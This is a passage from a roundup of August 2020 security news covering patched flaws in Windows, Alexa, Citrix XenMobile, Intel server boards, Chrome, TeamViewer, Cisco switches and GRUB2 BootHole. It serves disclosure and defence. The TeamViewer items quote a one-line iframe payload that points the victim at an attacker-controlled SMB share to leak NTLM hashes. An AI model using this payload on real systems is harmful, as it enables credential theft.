Microsoft, which rates the vulnerability as important, released a fix for supported versions of Windows and Windows Server on August 2020 Patch Tuesday.

One day after the fix was released, however, Forshaw revealed that the patch failed to correctly address the vulnerability. An attack could still be mounted, as long as a configured proxy is present on the system.

“However in enterprise environments that's likely a given and there this issue is the most serious,” the security researcher notes.

Forshaw also explains that the POC for the original bug can still be used, but that a proxy server needs to be manually added in the settings and the code should be executed with specific arguments.

“This will connect to the local SMB server and print the shares. This will work even if SPN verification is enabled as the SMB server ignores the Service Name component of the SPN,” he concludes.

Amazon Alexa Bugs Allowed Hackers to Install Malicious Skills Remotely
13.8.20  Vulnerebility  Thehackernews

Attention! If you use Amazon's voice assistant Alexa in you smart speakers, just opening an innocent-looking web-link could let attackers install hacking skills on it and spy on your activities remotely.
Check Point cybersecurity researchers—Dikla Barda, Roman Zaikin and Yaara Shriki—today disclosed severe security vulnerabilities in Amazon's Alexa virtual assistant that could render it vulnerable to a number of malicious attacks.
According to a new report released by Check Point Research and shared with The Hacker News, the "exploits could have allowed an attacker to remove/install skills on the targeted victim's Alexa account, access their voice history and acquire personal information through skill interaction when the user invokes the installed skill."
"Smart speakers and virtual assistants are so commonplace that it's easy to overlook just how much personal data they hold, and their role in controlling other smart devices in our homes," Oded Vanunu, head of product vulnerabilities research, said.
"But hackers see them as entry points into peoples' lives, giving them the opportunity to access data, eavesdrop on conversations or conduct other malicious actions without the owner being aware," he added.

Amazon patched the vulnerabilities after the researchers disclosed their findings to the company in June 2020.
An XSS Flaw in One of Amazon's Subdomains
Check Point said the flaws stemmed from a misconfigured CORS policy in Amazon's Alexa mobile application, thus potentially allowing adversaries with code-injection capabilities on one Amazon subdomain to perform a cross-domain attack on another Amazon subdomain.
Put differently, successful exploitation would have required just one click on an Amazon link that has been specially crafted by the attacker to direct users to an Amazon subdomain that's vulnerable to XSS attacks.
In addition, the researchers found that a request to retrieve a list of all the installed skills on the Alexa device also returns a CSRF token in the response.
The primary purpose of a CSRF token is to prevent Cross-Site Request Forgery attacks in which a malicious link or program causes an authenticated user's web browser to perform an unwanted action on a legitimate website.
This happens because the site cannot differentiate between legitimate requests and forged requests.
But with the token in possession, a bad actor can create valid requests to the backend server and perform actions on the victim's behalf, such as installing and enabling a new skill for the victim remotely.
In short, the attack works by prompting the user to click on a malicious link that navigates to an Amazon subdomain ("track.amazon.com") with an XSS flaw that can be exploited to achieve code-injection.

The attacker then uses it to trigger a request to "skillsstore.amazon.com" subdomain with the victim's credentials to get a list of all installed skills on the Alexa account and the CSRF token.
In the final stage, the exploit captures the CSRF token from the response and uses it to install a skill with a specific skill ID on the target's Alexa account, stealthily remove an installed skill, get the victim's voice command history, and even access the personal information stored in the user's profile.
The Need for IoT Security
With the global smart speaker market size projected to reach $15.6 billion by 2025, the research is another reason why security is crucial in the IoT space.
As virtual assistants become more pervasive, they are increasingly turning out to be lucrative targets for attackers looking to steal sensitive information and disrupt smart home systems.
"IoT devices are inherently vulnerable and still lack adequate security, which makes them attractive targets to threat actors," the researchers concluded.
"Cybercriminals are continually looking for new ways to breach devices, or use them to infect other critical systems. Both the bridge and the devices serve as entry points. They must be kept secured at all times to keep hackers from infiltrating our smart homes."

Citrix Warns of Critical Flaws in XenMobile Server
13.8.20  Vulnerebility  Threatpost

Citrix said that it anticipates malicious actors “will move quickly to exploit” two critical flaws in its mobile device management software.

Citrix is urging users to immediately patch a pair of critical flaws in its flagship mobile device management software. If exploited, the flaws could allow remote, unauthorized attackers to access domain account credentials – ultimately opening the door to a treasure trove of corporate data, including email and web applications.

The flaws exist in Citrix Endpoint Management (CEM), often referred to as XenMobile Server, which enables businesses to manage employees’ mobile devices and mobile applications by controlling device security settings and updates. Overall, five vulnerabilities were discovered – two of which (CVE-2020-8208 and CVE-2020-8209) are rated critical in severity.

“We recommend these upgrades be made immediately,” Fermin J. Serna, Chief Information Security Officer at Citrix, said in a Tuesday post. “While there are no known exploits as of this writing, we do anticipate malicious actors will move quickly to exploit.”

One of the two critical flaws discovered, CVE-2020-8209, is a path traversal flaw that stems from insufficient input validation. Path traversal bugs stem from web security glitches that enable bad actors to read arbitrary files on the server that is running an application.

That’s the case here, as Positive Technologies expert Andrey Medov, who discovered the flaw, said that attackers can exploit the flaw by convincing users to follow a specially crafted URL. They would then be able to access arbitrary files outside the web server root directory, including configuration files and encryption keys for sensitive data.

“Exploitation of this vulnerability allows hackers to obtain information that can be useful for breaching the perimeter, as the configuration file often stores domain account credentials for LDAP [Lightweight Directory Access Protocol; an industry standard protocol used for accessing distributed directory information services over an IP network] access,” said Medov in a statement. “With access to the domain account, a remote attacker can use the obtained data for authentication on other external company resources, including corporate mail, VPN, and web applications. Worse still, an attacker who has managed to read the configuration file can access sensitive data, such as database password (local PostgreSQL by default and a remote SQL Server database in some cases).”

Specifically impacted at a critical level by the dual vulnerabilities is: XenMobile Server 10.12 before RP2, XenMobile Server 10.11 before RP4, XenMobile Server 10.10 before RP6 and XenMobile Server before 10.9 RP5.

The remaining three flaws (CVE-2020-8210, CVE-2020-8211 and CVE-2020-8212) are rated medium- and low-severity. Further details on these vulnerabilities, as well as on the second critical flaw (CVE-2020-8208) have not been published; Threatpost has reached out to Citrix for comment.

These lesser severity flaws affect CEM versions: XenMobile Server 10.12 before RP3, XenMobile Server 10.11 before RP6, XenMobile Server 10.10 before RP6 and XenMobile Server before 10.9 RP5.

“The latest rolling patches that need to be applied for versions 10.9, 10.10, 10.11, and 10.12 are available immediately,” said Serna. “Any versions prior to 10.9.x must be upgraded to a supported version with the latest rolling patch. We recommend that you upgrade to 10.12 RP3, the latest supported version.”

Citrix joins in on a slew of companies issuing regularly scheduled security updates this week, including Intel, which stomped out a critical-severity vulnerability affecting several of its motherboards, server systems and compute modules; Microsoft, which fixed 120 bugs including two under active attack; and Adobe, which patched 11 critical security holes in Acrobat and Reader.

Earlier in the year, Citrix in January grappled with a critical vulnerability (CVE-2019-19781) in the Citrix Application Delivery Controller (ADC) and Citrix Gateway products, as well as multiple vulnerabilities in these same products in June allowing code injection, information disclosure and denial of service.

Intel Patches Many Privilege Escalation Vulnerabilities in Server Boards
12.8.20  Vulnerebility  Securityweek

Intel informed customers on Tuesday that it has patched many potentially serious privilege escalation vulnerabilities in its Server Board products.

One advisory published by the tech giant describes over 20 vulnerabilities affecting Intel Server Boards, Server Systems and Compute Modules. A majority of the flaws can be exploited for privilege escalation, and a few of them can allow an attacker — one of them can be exploited without authentication — to launch DoS attacks via local access.

The most serious of the security holes is CVE-2020-8708, a critical improper authentication issue that allows an unauthenticated attacker to elevate privileges via adjacent access. Server Boards, Server Systems and Compute Modules prior to version 1.59 are impacted.Intel Server Board vulnerabiliites

Ten of the other flaws have been classified as high severity. They can be exploited for privilege escalation via local or adjacent access, and they are caused by buffer overflows, improper input validation, improper access control, and incorrect execution-assigned permissions in the file system.

Another advisory released by Intel for Server Board products describes two high-severity and one medium-severity vulnerabilities that can allow local privilege escalation. A third advisory describes two high-severity local privilege escalation bugs affecting Server Board M10JNP2SB before version 7.210.

Of the remaining 15 advisories published by Intel on Tuesday, five describe high-severity issues. The list includes a DoS flaw in the RAID Web Console 3 for Windows, privilege escalation in some NUC products, privilege escalation in Programmable Acceleration Cards (PAC) with Arria, privilege escalation and DoS vulnerabilities in Graphics Drivers, and DoS, information disclosure and privilege escalation bugs in Wireless Bluetooth products.

The medium-severity vulnerabilities affect Wireless for Open Source, LED Manager for NUC, Thunderbolt controllers, the Rapid Storage Technology Enterprise (RSTe) Software RAID driver, SSD Data Center Tool (DCT), Distribution of OpenVINO Toolkit, the RealSense D400 Series Universal Windows Platform (UWP) driver for Windows, the Mailbox Interface driver, and the Computing Improvement Program.

Intel recently launched an investigation after someone leaked 20GB of data belonging to the company, including technical documents and tools. The company’s initial probe revealed that the leaked information likely came from the Intel Resource and Design Center, from where it may have been downloaded by an individual who had access.

Google Awards $10,000 for Remote Code Execution Vulnerability in Chrome
12.8.20  Vulnerebility  Securityweek

Google this week announced that an update for Chrome 84 includes 15 security patches, including for a serious vulnerability for which the tech giant awarded a $10,000 bug bounty.

This vulnerability is CVE-2020-6542, a high-severity use-after-free bug in ANGLE (Almost Native Graphics Layer Engine), the Chrome component responsible for translating OpenGL ES API calls to hardware-supported APIs available for the operating system (such as Vulkan, OpenGL, and Direct3D).

Discovered by Piotr Bania of Cisco Talos, the remote code execution vulnerability is easy to exploit, as the attacker only needs to set up a website containing malicious code that would be triggered upon user visit.

“The attack can be embedded in a webpage. An attacker simply needs the ability to embed the code into a site either under their control or via something like an online advertisement. No further interaction is required,” the security researcher told SecurityWeek.

Bania also explains that one of the conditions that has to be met for successful exploitation is for ANGLE to be supported and enabled, which it is by default. The victim then has to visit the page hosting the malicious HTML code using the Chrome browser.

Google awarded the security researcher a $10,000 bug bounty reward for reporting this vulnerability.

The new browser iteration also patches use-after-free vulnerabilities in task scheduling (CVE-2020-6543), media (CVE-2020-6544), and audio (CVE-2020-6545) components, which were awarded $7,500, $7,500, and $5,000 rewards, respectively.

Three other high-severity use-after-free vulnerabilities that were patched in the new browser release either remain without a monetary reward because they were reported by Google researchers (CVE-2020-6549 – impacts media, CVE-2020-6550 – affects IndexedDB, CVE-2020-6551 – affects WebXR), or haven’t had a bug bounty set (CVE-2020-6552 – impacts Blink, and CVE-2020-6553 – affects offline mode).

The remaining high-risk bugs patched in Chrome 84 include CVE-2020-6546 (inappropriate implementation in installer), CVE-2020-6547 (incorrect security UI in media), and CVE-2020-6548 (heap buffer overflow in Skia). Google has yet to provide information on the bug bounties paid to the reporting researchers.

Google also fixed two medium-severity flaws reported by external researchers, namely CVE-2020-6554, a use-after-free in extensions, and CVE-2020-6555, an out-of-bounds read in WebGL, and paid $5,000 and $1,000 in bug bounties for them.

The latest Chrome release, available as version 84.0.4147.125, is already rolling out to Windows, Mac, and Linux users.

Critical Intel Flaw Afflicts Several Motherboards, Server Systems, Compute Modules
12.8.20  Vulnerebility  Threatpost

A critical privilege-escalation flaw affects several popular Intel motherboards, server systems and compute modules.

Intel is warning of a rare critical-severity vulnerability affecting several of its motherboards, server systems and compute modules. The flaw could allow an unauthenticated, remote attacker to achieve escalated privileges.

The recently patched flaw (CVE-2020-8708) ranks 9.6 out of 10 on the CVSS scale, making it critical. Dmytro Oleksiuk, who discovered the flaw, told Threatpost that it exists in the firmware of Emulex Pilot 3. This baseboard-management controller is a service processor that monitors the physical state of a computer, network server or other hardware devices via specialized sensors.
Emulex Pilot 3 is used by various motherboards, which aggregate all the server components into one system. Also impacted are various server operating systems, and some Intel compute modules, which are electronic circuits, packaged onto a circuit board, that provide various functions.

The critical flaw stems from improper-authentication mechanisms in these Intel products before version 1.59.

In bypassing authentication, an attacker would be able to access to the KVM console of the server. The KVM console can access the system consoles of network devices to monitor and control their functionality. The KVM console is like a remote desktop implemented in the baseboard management controller – it provides an access point to the display, keyboard and mouse of the remote server, Oleksiuk told Threatpost.

The flaw is dangerous as it’s remotely exploitable, and attackers don’t need to be authenticated to exploit it – though they need to be located in the same network segment as the vulnerable server, Oleksiuk told Threatpost.

“The exploit is quite simple and very reliable because it’s a design flaw,” Oleksiuk told Threatpost.

Beyond this critical flaw, Intel also fixed bugs tied to 22 critical-, high-, medium- and low-severity CVEs affecting its server board, systems and compute modules. Other high-severity flaws include a heap-based overflow (CVE-2020-8730) that’s exploitable as an authenticated user; incorrect execution-assigned permissions in the file system (CVE-2020-8731); and a buffer overflow in daemon (CVE-2020-8707) — all three of which enable escalated privileges.

Oleksiuk was credited with reporting CVE-2020-8708, as well as CVE-2020-8706, CVE-2020-8707. All other CVEs were found internally by Intel.

Affected server systems include: The R1000WT and R2000WT families, R1000SP, LSVRP and LR1304SP families and R1000WF and R2000WF families.

Impacted motherboards include: The S2600WT family, S2600CW family, S2600KP family, S2600TP family, S1200SP family, S2600WF family, S2600ST family and S2600BP family.

Finally, impacted compute modules include: The HNS2600KP family, HNS2600TP family and HNS2600BP family. More information regarding patches is available in Intel’s security advisory.

Intel also issued an array of other security advisories addressing high-severity flaws across its product lines, including ones that affect Intel Graphics Drivers, Intel’s RAID web console 3 for Windows, Intel Server Board M10JNP2SB and Intel NUCs.

Critical Flaws Affect Citrix Endpoint Management (XenMobile Servers)
12.8.20  Vulnerebility  Thehackernews

Citrix today released patches for multiple new security vulnerabilities affecting its Citrix Endpoint Management (CEM), also known as XenMobile, a product made for enterprises to help companies manage and secure their employees' mobile devices remotely.
Citrix Endpoint Management offers businesses mobile device management (MDM) and mobile application management (MAM) capabilities. It allows companies to control which apps their employees can install while ensuring updates and security settings are applied to keep business information protected.
According to Citrix, there are a total of 5 vulnerabilities that affect on-premise instances of XenMobile servers used in enterprises to manage all apps, devices, or platforms from one central location.
"Remediations have already been applied to cloud versions, but hybrid rights users need to apply the upgrades to any on-premises instance," the company said in a post today.
If left unpatched and exploited successfully, the newly identified security vulnerabilities could collectively allow unauthenticated attackers to gain administrative privileges on affected XenMobile Servers.
"We recommend these upgrades be made immediately. While there are no known exploits as of this writing, we do anticipate malicious actors will move quickly to exploit," the company warned.
The two vulnerabilities—tracked as CVE-2020-8208 and CVE-2020-8209 and rated as critical—impact following XenMobile Server versions:
XenMobile Server 10.12 before RP2
XenMobile Server 10.11 before RP4
XenMobile Server 10.10 before RP6
XenMobile Server before 10.9 RP5
Whereas, the other three security vulnerabilities—tracked as CVE-2020-8210, CVE-2020-8211, and CVE-2020-8212 and rated medium/low in severity—resides in the following versions:
XenMobile Server 10.12 before RP3
XenMobile Server 10.11 before RP6
XenMobile Server 10.10 before RP6
XenMobile Server before 10.9 RP5
One of the critical flaws (CVE-2020-8209), discovered by Andrey Medov of Positive Technologies, could allow an unauthenticated attacker to read arbitrary files outside the web-server root directory, including configuration files and encryption keys for sensitive data.
"Exploitation of this vulnerability allows hackers to obtain information that can be useful for breaching the perimeter, as the configuration file often stores domain account credentials for LDAP access," Mendov explained.
Therefore, with access to the domain account, the remote attacker can target other external company resources, such as corporate mail, VPN, and web applications.
What's worse, according to the researcher, is that the attacker who has managed to read the configuration file can access sensitive data, like database password (local PostgreSQL by default and a remote SQL Server database in some cases).
However, since the database is stored inside the corporate perimeter and cannot be accessed from the outside, Mendov said, "this attack vector can only be used in complex attacks, for example, with the involvement of an insider accomplice."
"The latest rolling patches that need to be applied for versions 10.9, 10.10, 10.11, and 10.12 are available immediately," Citrix notes in a blog post.
"Any versions prior to 10.9.x must be upgraded to a supported version with the latest rolling patch. We recommend that you upgrade to 10.12 RP3, the latest supported version."
Since Citrix products have recently emerged as one of the favorite targets for hackers after wild exploitation of Citrix ADC, Gateway and Sharefile vulnerabilities, users are highly recommended to patch their systems to the latest versions of the software.
To be noted, the company has not yet revealed technical details of the vulnerabilities but has already pre-notified several major CERTs around the world and its customers on July 23.

TeamViewer flaw can allow hackers to steal System password
11.8.20  Vulnerebility  Securityweek

A severe vulnerability impacting TeamViewer for Windows, tracked as CVE 2020-13699, could be exploited by remote attackers to steal the system password.
TeamViewer has recently addressed a high-risk vulnerability (CVE 2020-13699), that could be exploited by remote attackers to steal system password and potentially compromise it.

TeamViewer is a popular software application for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers

The vulnerability, classified as an “Unquoted URI handler”, could be triggered by tricking the victims into visiting a malicious web site.

The vulnerability was discovered by the researcher Jeffrey Hofmann from Praetorian, it resides in the way TeamViewer quotes its custom URI handlers. The expert discovered that the issue could allow an attacker to force the software to relay an NTLM authentication request to the attacker’s system.

The issue in the TeamViewer’s URI scheme allows a web page crafted by the attack to trick the application installed on the victim’s system into initiating a connection to the attacker-owned remote SMB share.

This means that the SMB authentication process will leak the system’s username, and NTLMv2 hashed version of the password to the attackers.

The attacker could embed a malicious iframe on a website and then trick victims into visiting that maliciously URL. Upon clicking the link shared with the victims, TeamViewer will automatically launch its Windows desktop client and open a remote SMB share.

“An attacker could embed a malicious iframe in a website with a crafted URL (
iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'
) that would launch the TeamViewer Windows desktop client and force it to open a remote SMB share,” explained Jeffrey Hofmann, a security engineer with Praetorian, who discovered and responsibly disclosed the flaw.

“Windows will perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).”

The TeamViewer project has fixed the issue by quoting the parameters passed by the affected URI handlers.

The vulnerability affects TeamViewer versions 8 through 15 (up to 15.8.2) for the Windows platform. TeamViewer released the version 15.8.3 to address the issue and users are recommended to use it.
Such kind of issues is very dangerous because of the popularity of the software that is used by millions of users.

At the time of addressing the issue, the TeamViewer team is not aware of attacks in the wild exploiting the issue.

TeamViewer Flaw Could Let Hackers Steal System Password Remotely
10.8.20  Vulnerebility  Thehackernews
If you are using TeamViewer, then beware and make sure you're running the latest version of the popular remote desktop connection software for Windows.
TeamViewer team recently released a new version of its software that includes a patch for a severe vulnerability (CVE 2020-13699), which, if exploited, could let remote attackers steal your system password and eventually compromise it.
What's more worrisome is that the attack can be executed almost automatically without requiring much interaction of the victims and just by convincing them to visit a malicious web page once.
For those unaware, TeamViewer is a popular remote-support software that allows users to securely share their desktop or take full control of other's PC over the Internet from anywhere in the world.
The remote access software is available for desktop and mobile operating systems, including Windows, macOS, Linux, Chrome OS, iOS, Android, Windows RT Windows Phone 8, and BlackBerry.
Discovered by Jeffrey Hofmann of Praetorian, the newly reported high-risk vulnerability resides in the way TeamViewer quotes its custom URI handlers, which could allow an attacker to force the software to relay an NTLM authentication request to the attacker's system.
In simple terms, an attacker can leverage TeamViewer's URI scheme from a web-page to trick the application installed on the victim's system into initiating a connection to the attacker-owned remote SMB share.

This, in turn, triggers the SMB authentication attack, leaks the system's username, and NTLMv2 hashed version of the password to the attackers, allowing them to use stolen credentials to authenticate the victims' computer or network resources.
To successfully exploit the vulnerability, an attacker needs to embed a malicious iframe on a website and then trick victims into visiting that maliciously crafted URL. Once clicked by the victim, TeamViewer will automatically launch its Windows desktop client and open a remote SMB share.
Now, the victim's Windows OS will "perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking)."
This vulnerability, categorized as 'Unquoted URI handler,' affects "URI handlers teamviewer10, teamviewer8, teamviewerapi, tvchat1, tvcontrol1, tvfiletransfer1, tvjoinv8, tvpresent1, tvsendfile1, tvsqcustomer1, tvsqsupport1, tvvideocall1, and tvvpn1," Hofmann said.
The TeamViewer project has patched the vulnerability by quoting the parameters passed by the affected URI handlers e.g., URL:teamviewer10 Protocol "C:\Program Files (x86)\TeamViewer\TeamViewer.exe" "%1"
Though the vulnerability is not being exploited in the wild as of now, considering the popularity of the software among millions of users, TeamViewer has always been a target of interest for attackers.
So, users are highly recommended to upgrade their software to the 15.8.3, as it's hardly a matter of time before hackers started exploiting the flaw to hack into users' Windows PCs.
A similar SMB-authentication attack vector was previously disclosed in Google Chrome, Zoom video conferencing app, and Signal messenger.

High-Severity Cisco DoS Flaw Plagues Small-Business Switches
7.8.20  Vulnerebility  Threatpost

Cisco recently patched the high-severity flaw, which could allow remote, unauthenticated attackers to launch DoS attacks against its popular small business switches.

Cisco is warning of a high-severity flaw that could allow remote, unauthenticated attackers to cripple several of its popular small-business switches with denial of service (DoS) attacks.

The vulnerability stems from the IPv6 packet processing engine in the switches. IPv6 (also known as Internet Protocol version 6) is the most recent version of the Internet Protocol (IP), the communications protocol that provides an identification system for computers on networks and routes traffic across the Internet.

The flaw (CVE-2020-3363), which has a CVSS score of 8.6 out of 10, is due to insufficient validation of incoming IPv6 traffic.

“An attacker could exploit this vulnerability by sending a crafted IPv6 packet through an affected device,” said Cisco in its Wednesday advisory. “A successful exploit could allow the attacker to cause an unexpected reboot of the switch, leading to a DoS condition.”

Cisco switches affected by this flaw include: 250 Series Smart Switches, 350 Series Managed Switches, 350X Series Stackable Managed Switches, 550X Series Stackable Managed Switches. These switch lineups range in functionality and price, but all were released between 2015 and 2016, and all are web-managed, entry-level devices intended for small businesses. Updates are available for these products in Release 2.5.5.4.7.

Also affected by the flaw are three series of switches that have reached the end-of-software-maintenance milestone, meaning they will not receive patches. Those are: Small Business 200 Series Smart Switches, Small Business 300 Series Managed Switches and Small Business 500 Series Stackable Managed Switches. It’s not the first time that end of life (EoL) has stopped Cisco from issuing patches for these specific switches when they were vulnerable. In July, Cisco warned that it wasn’t issuing firmware updates in the three switches to address a high-severity flaw that could allow remote, unauthenticated attackers to access the switches’ management interfaces with administrative privileges.

The Cisco Product Security Incident Response Team (PSIRT) said it is not aware of any public announcements or malicious use of the vulnerability. This flaw specifically affects IPv6 traffic – IPv4 traffic (the IP that IPv6 replaced) is not affected, said Cisco.

“Cisco has released software updates that address this vulnerability for devices that have not reached the end of software maintenance,” Cisco said. “There are no workarounds that address this vulnerability.”

Beyond this flaw, Cisco fixed three other high-severity vulnerabilities, with a slew of Thursday security advisories.

One of those is a similar vulnerability in the IPv6 implementation of Cisco StarOS. Cisco StarOS is a virtualized software architecture that spans the ASR (Aggregation Services Routers) 5000 Series. This flaw (CVE-2020-3324) also stems from insufficient validation of incoming IPv6 traffic and could enable an unauthenticated, remote attacker to launch a DoS attack on affected devices.

Another high-severity flaw (CVE-2020-3411) in Cisco’s DNA Center software could allow an unauthenticated remote attacker access to sensitive information on impacted systems. The Cisco DNA Center is a network controller and management dashboard, with integrated tools for network management, automation, virtualization, analytics, security and internet of things (IoT) connectivity.

A final flaw (CVE-2020-3433) plugged by Cisco on Wednesday exists in the AnyConnect Secure Mobility Client for Windows, Cisco’s unified security endpoint agent that delivers security services to protect the enterprise. The flaw exists in the interprocess communication (IPC) channel and could allow an authenticated, local attacker to perform an attack called DLL hijacking, where attackers exploit Windows applications search and load Dynamic Link Libraries.

Google Analysis of Zero-Days Exploited in 2019 Finds 'Detection Bias'

4.8.20 Vulnerebility  Securityweek
Google Project Zero last week released a report on the vulnerabilities exploited in attacks in 2019, and its researchers have drawn some interesting conclusions regarding the detection of zero-days.

Google Project Zero has been tracking vulnerabilities exploited in the wild since 2014 and last year it made available a spreadsheet showing the flaws it has tracked.

The first “Year in Review” report shows that in 2019 there were 20 vulnerabilities that were found to be exploited in the wild, although Project Zero pointed out that these were only the security holes that were detected by the industry, and the actual number of new zero-days exploited last year was likely higher.

The list of vulnerabilities exploited last year includes weaknesses affecting Apple’s iOS, Microsoft’s Windows and Internet Explorer, Google’s Android and Chrome, Mozilla’s Firefox, and Trend Micro’s OfficeScan.

While 11 of the 20 flaws impact Microsoft products — this is five times more compared to Apple and Google products — Project Zero noted that this percentage shows that Microsoft products are a prime target for threat actors, but the number can likely also be attributed to “detection bias.”

“Because Microsoft has been a target before some of the other platforms were even invented, there have been many more years of development into 0-day detection solutions for Microsoft products. Microsoft’s ecosystem also allows for 3rd parties, in addition to Microsoft themself, to deploy detection solutions for 0-days. The more people looking for 0-days using varied detection methodologies suggests more 0-days will be found,” explained Google Project Zero researcher Maddie Stone.

Stone also pointed out that of the 11 zero-days found in Microsoft products, only four were used against Windows 10 users, which could also be an indicator of detection bias.

“Is legacy software really the predominant targets for 0-days in Microsoft Windows, or are we just better at detecting them since this software and these exploit techniques have been around the longest?” the researcher asked.

While there only appear to be a handful of exploited iOS and Android vulnerabilities and no exploited flaws affecting Linux or macOS, this does not necessarily mean these platforms are not targeted. Instead, it shows that the industry should focus more on detecting attacks aimed at these operating systems.

This is also demonstrated by the fact that more than half of the 20 vulnerabilities exploited in 2019 were detected by Clément Lecigne of Google's Threat Analysis Group (7 zero-days) and Kaspersky (4 zero-days).

“If two entities out of the entirety of the global security community are responsible for detecting more than half of the 0-days in a year, that’s a worrying sign for how we’re using our resources,” Stone noted. “The security community has a lot of growth to do in this area to have any confidence that we are detecting the majority of 0-days exploits that are used in the wild.”

The researcher also highlighted that only one of the vulnerabilities exploited last year was discovered internally by the vendor — the same flaw was also independently discovered by an external researcher — which she says is surprising because vendors should be better positioned to detect zero-days.

“This begs the question: are the vendor security teams that have the most access not putting resources towards detecting 0-days, or are they finding them and just not disclosing them when they are found internally?” Stone said. “Either way, this is less than ideal. When you consider the locked down mobile platforms, this is especially worrisome since it’s so difficult for external researchers to get into those platforms and detect exploitation.”

Google Project Zero’s spreadsheet shows that the list for 2020 already includes 11 exploited zero-days, including ones affecting Firefox, Internet Explorer, Chrome, Trend Micro’s OfficeScan, Windows, and Sophos’ XG firewalls.

BootHole Patches Causing Many Systems to Become Unbootable
31.7.20  Vulnerebility  Securityweek

It appears that the patches released for Linux distributions in response to the GRUB2 bootloader vulnerability are causing problems for many users, making their systems unbootable.

The flaw, tracked as BootHole and CVE-2020-10713, impacts PCs, servers and other devices running Linux and Windows if they use Secure Boot. An attacker with admin privileges on the targeted system can exploit the vulnerability to run malicious code when the device boots up, enabling them to install stealthy and persistent malware.

Completely patching BootHole is not an easy task as it will involve replacing vulnerable bootloaders and updating the Secure Boot revocation list (DBX) to ensure that the old bootloaders cannot be executed, a process that requires collaboration between multiple software and hardware vendors.

BootHole patches causing problems

Linux distributions have already started releasing updates for the grub2, shim and other packages in response to the vulnerability. However, it appears that those packages have been causing problems for many users, resulting in their systems hanging during the boot process.

Red Hat users were the first to report problems, but it appears that other Linux distributions are experiencing similar issues, including Ubuntu, Debian, CentOS and Mint.

Security researcher Kevin Beaumont reported that major cloud providers such as Azure and Digital Ocean are also seeing systems that fail to boot due to the patches.

He pointed out that similar problems were caused by the initial patches released a few years ago for the notorious Meltdown and Spectre vulnerabilities.

“I think there is a genuine conversation to be had about security vulnerabilities and the wider outlook. A primary concern with security (and in business) is availability. As an industry we also need to be better at careful analysis of vulnerabilities, and staggered testing of patches. The provided solution has again, unfortunately, become worse than the vulnerability for most people,” Beaumont noted.

Impacted Linux distributions are working on developing new packages and some of them have provided instructions on how users can restore systems impacted by the buggy patches.

Capsule8’s Kelly Shortridge predicted after BootHole was disclosed, “We might see more damage from people attempting the mitigation rather than attackers leveraging this in dastardly digital crimes.”

Billions of Devices Impacted by Secure Boot Bypass
31.7.20  Vulnerebility  Threatpost

The “BootHole” bug could allow cyberattackers to load malware, steal information and move laterally into corporate, OT, IoT and home networks.

Billions of Windows and Linux devices are vulnerable to cyberattacks stemming from a bug in the GRUB2 bootloader, researchers are warning.

GRUB2 (which stands for the GRand Unified Bootloader version 2) is the default bootloader for the majority of computing systems. Its job is to manage part of the start-up process – it either presents a menu and awaits user input, or automatically transfers control to an operating system kernel.

Secure Boot is an industry standard that ensures that a device boots using only trusted software. When a computer starts, the firmware checks the signatures of UEFI firmware drivers, EFI applications and the operating system. If the signatures are valid, the computer boots, and the firmware gives control to the operating system. According to Eclypsium researchers, the bug tracked as CVE-2020-10713 could allow attackers to get around these protections and execute arbitrary code during the boot-up process, even when Secure Boot is enabled and properly performing signature verification.

Dubbed BootHole by Eclypsium because it opens up a hole in the boot process, the new bug is a buffer overflow vulnerability in the way that GRUB2 parses content from the GRUB2 config file (grub.cfg), according to Eclypsium.

“The GRUB2 config file is a text file and typically is not signed like other files and executables,” researchers wrote in the firm’s analysis, released on Wednesday. As a result, Secure Boot doesn’t check it. Thus, an attacker could modify the contents of the GRUB2 configuration file to include attack code. And further, that file is loaded before the operating system is loaded, so the attack code runs first.

“In this way, attackers gain persistence on the device,” explained researchers.

On the technical front, Red Hat noted that the grub.cfg file is composed of several string tokens.

“The configuration file is loaded and parsed at GRUB initialization right after the initial boot loader, called shim, has loaded it,” the project said in an advisory issued on Wednesday. “During the parser stage, the configuration values are copied to internal buffers stored in memory. Configuration tokens that are longer in length than the internal buffer size end up leading to a buffer overflow issue. An attacker may leverage this flaw to execute arbitrary code, further hijacking the machine’s boot process and bypassing Secure Boot protection. Consequently, it is possible for unsigned binary code to be loaded, further jeopardizing the integrity of the system.”

Once in, attackers have “near total control” over a target machine: “Organizations should be monitoring their systems for threats and ransomware that use vulnerable bootloaders to infect or damage systems,” according to the analysis.

The bug carries a high-severity CVSS rating of 8.2 (Red Hat deems it “moderate” in severity, and Microsoft characterizes it as “important”). BootHole likely avoided a critical rating because in order to exploit it, an attacker would need to first gain administrative privileges.

“An attacker would first need to establish access to the system such as gaining physical access, obtain the ability to alter a pxe-boot network, or have remote access to a networked system with root access,” according to Red Hat.

The bad news is that GRUB2 is nearly ubiquitous across the computing landscape.

“The vulnerability is in the GRUB2 bootloader utilized by most Linux systems,” the researchers said. “The problem also extends to any Windows device that uses Secure Boot with the standard Microsoft Third Party UEFI Certificate Authority.”

They added that the majority of computers (laptops, desktops, servers and workstations) are vulnerable, and that the vulnerability also affects network appliances, proprietary gear specific to healthcare, financial and other verticals, internet-of-things (IoT) devices, and operational technology (OT) and SCADA equipment in industrial environments. In all, billions of devices are susceptible.

Worse, no simple patch or firmware update can fix the issue, according to Eclypsium.

“Mitigation is complex and can be risky and will require the specific vulnerable program to be signed and deployed, and vulnerable programs should be revoked to prevent adversaries from using older, vulnerable versions in an attack,” the researchers said. “The three-stage mitigation process will likely take years for organizations to complete patching.”

On the supplier side, the fix will require the release of new installers and bootloaders for all versions of Linux, as well as new versions of vendors’ “shims” (the aforementioned first-stage boot loaders) to be signed by the Microsoft Third-Party UEFI certificate authority, Eclypsium warned. Also, hardware-makers that provision their own keys into their hardware at the factory level (which sign GRUB2 directly) will need to provide updates, and revoke their own vulnerable versions of GRUB2.

“It is important to note that until all affected versions are added to the [Secure Boot revocation list, a.k.a. dbx], an attacker would be able to use a vulnerable version of shim and GRUB2 to attack the system,” researchers explained. “This means that every device that trusts the Microsoft 3rd Party UEFI CA will be vulnerable for that period of time.”

Eclypsium has coordinated responsible disclosure of BootHole with a raft of affected vendors and Linux distros, including Microsoft, the UEFI Security Response Team (USRT), Oracle, Red Hat (Fedora and RHEL), Canonical (Ubuntu), SuSE (SLES and openSUSE), Debian, Citrix, VMware, and various OEMs and software vendors, several of which have issued their own advisories.

